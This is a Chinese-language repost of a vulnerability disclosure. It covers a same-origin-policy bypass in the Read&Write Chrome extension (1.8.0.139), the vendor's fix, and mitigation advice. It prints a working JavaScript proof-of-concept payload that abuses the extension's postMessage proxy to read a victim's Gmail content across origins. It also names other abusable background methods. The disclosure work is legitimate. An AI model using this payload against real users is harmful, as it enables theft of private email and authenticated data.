溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

發(fā)現(xiàn)Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析

發(fā)布時間:2021-12-22 16:52:17 來源:億速云 閱讀:111 作者:柒染 欄目:網(wǎng)絡(luò)管理

本篇文章給大家分享的是有關(guān)發(fā)現(xiàn)Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。

下面講述的是作者發(fā)現(xiàn)谷歌瀏覽器Chrome閱讀輔助插件(Read&Write Chrome extension)1.8.0.139版本同源策略(SOP)繞過漏洞的過程。該漏洞在于Read&Write插件缺少對正常交互網(wǎng)頁請求源的安全檢查,導(dǎo)致任意網(wǎng)頁都可以調(diào)用Read&Write插件的后臺特權(quán)頁面API來執(zhí)行多種存在風(fēng)險的操作。由于該版本插件的在線下載使用量較大,在漏洞上報前估計有八百萬用戶受到影響。

漏洞介紹

比如,利用名為 “thGetVoices”方法的后臺API調(diào)用方式,可以用插件執(zhí)行一個任意URL鏈接的檢索,并用postMessage方式來進行響應(yīng)通信。通過這種方式的API惡意調(diào)用,攻擊者可以劫持Read&Write插件去讀取一些惡意且未經(jīng)驗證的會話數(shù)據(jù)。

作為驗證,作者在文末制作了一個漏洞利用PoC視頻,在安裝了存在該漏洞的Read&Write插件之后,在進行應(yīng)用操作時,可以利用漏洞遠(yuǎn)程讀取到用戶的Gmail郵箱地址信息。在漏洞上報之后,Read&Write插件開發(fā)方Texthelp公司迅速修復(fù)了漏洞,并于第二天釋出了更新補丁。目前,新版本的Read&Write插件已不存在該漏洞。

漏洞分析

Chrome的Read&Write插件利用名為“inject.js”的Google瀏覽器內(nèi)置腳本(Content Script)來向諸如Google Docs在內(nèi)的各種在線文檔頁面插入一個自定義工具欄,以方便讀者用戶可以利用該插件進行文檔讀寫。默認(rèn)情況下,此腳本將會向所有HTTP和HTTPS源執(zhí)行插入,插件的使用說明中已定義了這一點:

...trimmed for brevity...
  "content_scripts": [
    {
      "matches": [ "https://*/*", "http://*/*" ],
      "js": [ "inject.js" ],
      "run_at": "document_idle",
      "all_frames": true
    }
  ],
...trimmed for brevity...

在  “inject.js” 腳本文件中,存在一個事件監(jiān)聽函數(shù)addEventListener,任何被插入 “inject.js” 腳本文件的交互網(wǎng)頁,如果以“postMessage”方式向插件發(fā)送響應(yīng)消息,都能被該函數(shù)捕獲到:

window.addEventListener("message", this.onMessage)

這個addEventListener函數(shù)還會調(diào)用另一個名為“this.onMessage”的函數(shù),該函數(shù)用于處理任意發(fā)往頁面窗口的postMessage消息:    

function onMessage() {
    void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
        enabledRW4GC: !1
    }) : chrome.extension.sendRequest(event.data, function(e) {
        window.postMessage(e, "*")
    }))
}

postMessage() 方法:window.postMessage() 方法可以安全地實現(xiàn)跨源通信。通常,對于兩個不同頁面的腳本需要具備同源策略才能通信。window.postMessage() 方法被調(diào)用時,會在所有頁面腳本執(zhí)行完畢之后(e.g., 在該方法之后設(shè)置的事件、之前設(shè)置的timeout 事件,etc.)向目標(biāo)窗口派發(fā)一個        MessageEvent 消息。 該MessageEvent消息有四個屬性需要注意: message 屬性表示該message 的類型; data 屬性為 window.postMessage 的第一個參數(shù);origin 屬性表示調(diào)用window.postMessage() 方法時調(diào)用頁面的當(dāng)前狀態(tài); source 屬性記錄調(diào)用 window.postMessage() 方法的窗口信息。        

在上述代碼中,可以看到onMessage()會把所有接收到的postMessage消息通過“chrome.extension.sendRequest”方法發(fā)送到Read&Write插件的后臺頁面。另外,對這些消息的響應(yīng)將傳遞回onMessage()函數(shù),然后再通過其傳遞回Web頁面中去。這個過程,實際上就在正常的Web訪問頁面和Read&Write插件后面之間形成了一個代理機制。

從Read&Write插件的使用說明中,可以發(fā)現(xiàn)Read&Write插件中存在很多后臺頁面:

...trimmed for brevity...
"background": {
  "scripts": [
    "assets/google-analytics-bundle.js",
    "assets/moment.js",
    "assets/thFamily3.js",
    "assets/thHashing.js",
    "assets/identity.js",
    "assets/socketmanager.js",
    "assets/thFunctionManager.js",
    "assets/equatio-latex-extractor.js",
    "assets/background.js",
    "assets/xmlIncludes/linq.js",
    "assets/xmlIncludes/jszip.js",
    "assets/xmlIncludes/jszip-load.js",
    "assets/xmlIncludes/jszip-deflate.js",
    "assets/xmlIncludes/jszip-inflate.js",
    "assets/xmlIncludes/ltxml.js",
    "assets/xmlIncludes/ltxml-extensions.js",
    "assets/xmlIncludes/testxml.js"
  ]
},
...trimmed for brevity...

雖然存在以上這么多后臺頁面進行消息偵聽和函數(shù)調(diào)用,我們選取其中一個可漏洞利用的即可,我們就來看看頁面 “background.js”吧:

...trimmed for brevity...
chrome.extension.onRequest.addListener(function(e, t, o) {
...trimmed for brevity...
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
    if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
        method: "thGetVoices",
        type: "1757FROM_BGRW4G",
        payload: {
            response: g_voices
        }
    });
    var c = new XMLHttpRequest;
    c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
        4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
            method: "thGetVoices",
            type: "1757FROM_BGRW4G",
            payload: {
                response: g_voices
            }
        }))
    }, c.send()
}
...trimmed for brevity...

上述代碼顯示,“chrome.extension.onRequest” .addListener監(jiān)聽器被觸發(fā)時,其內(nèi)部的“method” 參數(shù)會被設(shè)置成“thGetVoices”,“type”參數(shù)則被設(shè)置為“1757FROM_PAGERW4G”。如果這個觸發(fā)事件中的“payload.refresh”參數(shù)為“true” ,則其中的XMLHTTPRequest會被請求響應(yīng)為代號為200的狀態(tài)碼。

漏洞利用

利用上述方式的惡意調(diào)用,我們能向Read&Write插件的后臺頁面發(fā)送一個帶有任意URL鏈接的消息,該消息最終會通過HTTP方式進行響應(yīng),這樣,我們就能通過這種方式讀取用戶cookie信息,從而也可利用任意網(wǎng)頁加載Payload去竊取其它不同Web源中的用戶內(nèi)容。以下就是一個跨域的信息竊取Payload:

function exploit_get(input_url) {
    return new Promise(function(resolve, reject) {
        var delete_callback = false;
        var event_listener_callback = function(event) {
            if ("data" in event && event.data.payload.response) {
                window.removeEventListener("message", event_listener_callback, false);
                resolve(event.data.payload.response);
            }
        };
        window.addEventListener("message", event_listener_callback, false);
        window.postMessage({
            type: "1757FROM_PAGERW4G",
            "method": "thGetVoices",
            "payload": {
                "refresh": "true",
                "url": input_url
            }
        }, "*");
    });
}
setTimeout(function() {
    exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
        alert("Gmail emails have been stolen!");
        alert(response_body);
    });
}, 1000);

上述Payload代碼顯示,可以利用該漏洞去讀取跨域響應(yīng)信息。這種情況下,我們用Gmail的 “Simple HTML”服務(wù) 來作示例。整個的漏洞利用方法就比較簡單直接了:把上面這個Payload代碼托管在任意網(wǎng)站上,安裝了存在該漏洞的Read&Write插件用戶,只要登錄進入Gmail郵箱,我就可以用上述Payload來讀取到用戶的相關(guān)Gmail郵箱內(nèi)信息。整個過程是通過之前我們說明的,以恰當(dāng)?shù)腜ayload設(shè)置形成postMessage消息,并結(jié)合消息響應(yīng)的事件監(jiān)聽方式來實現(xiàn)的。由于Read&Write插件會向所有HTTP和HTTPS的Web頁面執(zhí)行應(yīng)用插入,所以,在    JavaScript Promises 異步編程方式下,可以通過“exploit_get()”函數(shù)能竊取到用戶經(jīng)過認(rèn)證的任意訪問過的頁面數(shù)據(jù)信息(這里假設(shè)無需特殊Header標(biāo)頭,能通過HTTP GET方式進行訪問的頁面)

Promise :是異步編程的一種解決方案,比傳統(tǒng)的解決方案——回調(diào)函數(shù)和事件——更合理和更強大。所謂Promise,簡單說就是一個容器,里面保存著某個未來才會結(jié)束的事件(通常是一個異步操作)的結(jié)果。從語法上說,Promise 是一個對象,從它可以獲取異步操作的消息。Promise 提供統(tǒng)一的 API,各種異步操作都可以用同樣的方法進行處理。目前,Promise        已獲得 JavaScript 的原生支持,能很好兼容JavaScript編程應(yīng)用。

雖然上面的示例引用了“thGetVoices”后臺方法調(diào)用,但這只是這些后臺頁面API調(diào)用時出現(xiàn)的一種漏洞利用方式。除了使用這種調(diào)用之外,還存在其它一些可以利用的漏洞方法:

如攻擊者還能利用 “thExtBGAjaxRequest” 方法,結(jié)合參數(shù)來執(zhí)行“application/x-www-form-urlencoded;charset=UTF-8” 這類型任意的POST請求,并讀取消息響應(yīng)內(nèi)容

還有,攻擊者也能利用 “OpenTab”方法來打開大量網(wǎng)頁標(biāo)簽來限制用戶的Web頁面訪問

漏洞原因&緩解措施

該漏洞為一種常見瀏覽器插件安全隱患,谷歌的 Chrome 瀏覽器為了更方便地與插件API之間進行通信交互,插件在功能上就無形在自身后臺服務(wù)和正常訪問的Web頁面之間形成了一條代理通道,主要原因在于很多 Chrome 插件開發(fā)者在開發(fā)階段,缺乏對潛在敏感功能的調(diào)用請求源進行安全檢查。這種情況下,一種理想的解決方法就是把大部份邏輯處理操作放到Content Script中去,不用postMessage方式調(diào)用,而由事件偵聽函數(shù)按照API isTrusted屬性的適當(dāng)驗證來進行觸發(fā)。這樣可以確保所有調(diào)用都是由用戶操作觸發(fā)的,而不是攻擊者偽造的。

由于時區(qū)原因,時間上可能有些出入,Texthelp在愛爾蘭的開發(fā)團隊其實在6月2號就收到漏洞,然后在6月3號就修復(fù)了漏洞。只是補丁在6月4號釋出,整個漏洞響應(yīng)修復(fù)周期非常及時。

以上就是發(fā)現(xiàn)Chrome瀏覽器閱讀輔助插件SOP繞過漏洞的示例分析,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降摹OM隳芡ㄟ^這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI